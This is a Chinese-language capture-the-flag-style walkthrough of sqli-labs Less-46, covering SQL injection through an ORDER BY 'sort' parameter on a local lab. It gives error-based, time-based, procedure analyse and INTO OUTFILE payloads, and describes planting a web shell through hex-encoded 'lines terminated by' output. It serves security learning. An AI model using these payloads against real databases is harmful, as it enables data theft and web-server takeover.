sqli-labs(46)

0X01首先我们先来看一下源码

发现查询语句变成了 order by  参数也变成了 sort 看看是什么样的

(1)首先看看本关sql语句

$sql = "SELECT * FROM users ORDER BY $id";  

在mysql中 order by 参数后可以加入升序和降序来改变排列顺序,

我们来看看mysql的帮助函数

0x4 思路分析

 (1)order by 后的数字可以作为一个注入点,构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://127.0.0.1/sql1/Less-46/?sort=right(database(),1)

解释下:

rigth函数:是返回右边结果的第一个字符  left 同理

经过测试,两个函数在页面并没有任何的反应,证明数字并没有起作用,考虑下布尔类型。可以利用报错注入和延时注入。

(2)直接在sort后面构造,形式存在几种

  直接添加注入语句

  利用函数(例如:rand 函数等)使用true和false看看结果

http://127.0.0.1/sql1/Less-46/?sort=rand(true)

http://127.0.0.1/sql1/Less-46/?sort=rand(false)

发现并没有 特别的变化

http://127.0.0.1/sql1/Less-46/?sort=-1%20and%20(select%20database())

也没有什么特别的变化 那我们想一想其他的注入

比如报错

?sort=1 and (select count(*),concat_ws(';',database(),floor(rand()*2))as a from information_schema.tables group by a)

返回一个操作数应该包含一列

sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)

4)延迟注入实例

?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)  
?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))  
4)procedure analyse参数注入

     利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)  

5)导入导出文件into outfile参数

http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"  

(6)lines terminated by上传网马

Into outtfile 文件地址 lines terminated by 0x(网马进行16进制转换)

切记 学习之路 少就是多 慢就是快

原文地址:https://www.cnblogs.com/-zhong/p/10968532.html